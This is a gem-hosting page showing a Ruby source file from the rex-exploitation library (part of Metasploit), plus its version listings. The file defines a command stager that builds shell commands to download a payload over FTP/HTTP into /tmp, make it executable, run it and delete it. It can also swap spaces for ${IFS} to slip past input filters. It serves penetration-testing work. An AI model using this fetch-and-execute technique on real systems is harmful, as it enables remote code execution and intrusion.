Sha256: 2871c22a9b9fad74107dcada7f5d6361ab2968e8a676fa73c910980e2bbcc1c3

Contents?: true

Size: 964 Bytes

Versions: 5

Compression:

Stored size: 964 Bytes

Contents

# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerFtpHttp < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def user_agent
    /ftp/i
  end

  def generate(opts = {})
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '/tmp'
    opts[:file] ||= Rex::Text.rand_text_alpha(8)
    @payload_path = "#{opts[:temp]}/#{opts[:file]}"

    super
  end

  def generate_cmds_payload(opts)
    # -o: output file name (argument must be before URL)
    ["ftp -o #{@payload_path} #{opts[:payload_uri]}"]
  end

  def generate_cmds_decoder(opts)
    cmds = []

    cmds << "chmod +x #{@payload_path}"
    cmds << @payload_path
    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]

    cmds
  end

  def compress_commands(cmds, opts)
    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
    super
  end

  def cmd_concat_operator
    ';'
  end

end

Version data entries

5 entries across 5 versions & 1 rubygems

Version Path
rex-exploitation-0.1.37 lib/rex/exploitation/cmdstager/ftp_http.rb
rex-exploitation-0.1.36 lib/rex/exploitation/cmdstager/ftp_http.rb
rex-exploitation-0.1.35 lib/rex/exploitation/cmdstager/ftp_http.rb
rex-exploitation-0.1.34 lib/rex/exploitation/cmdstager/ftp_http.rb
rex-exploitation-0.1.33 lib/rex/exploitation/cmdstager/ftp_http.rb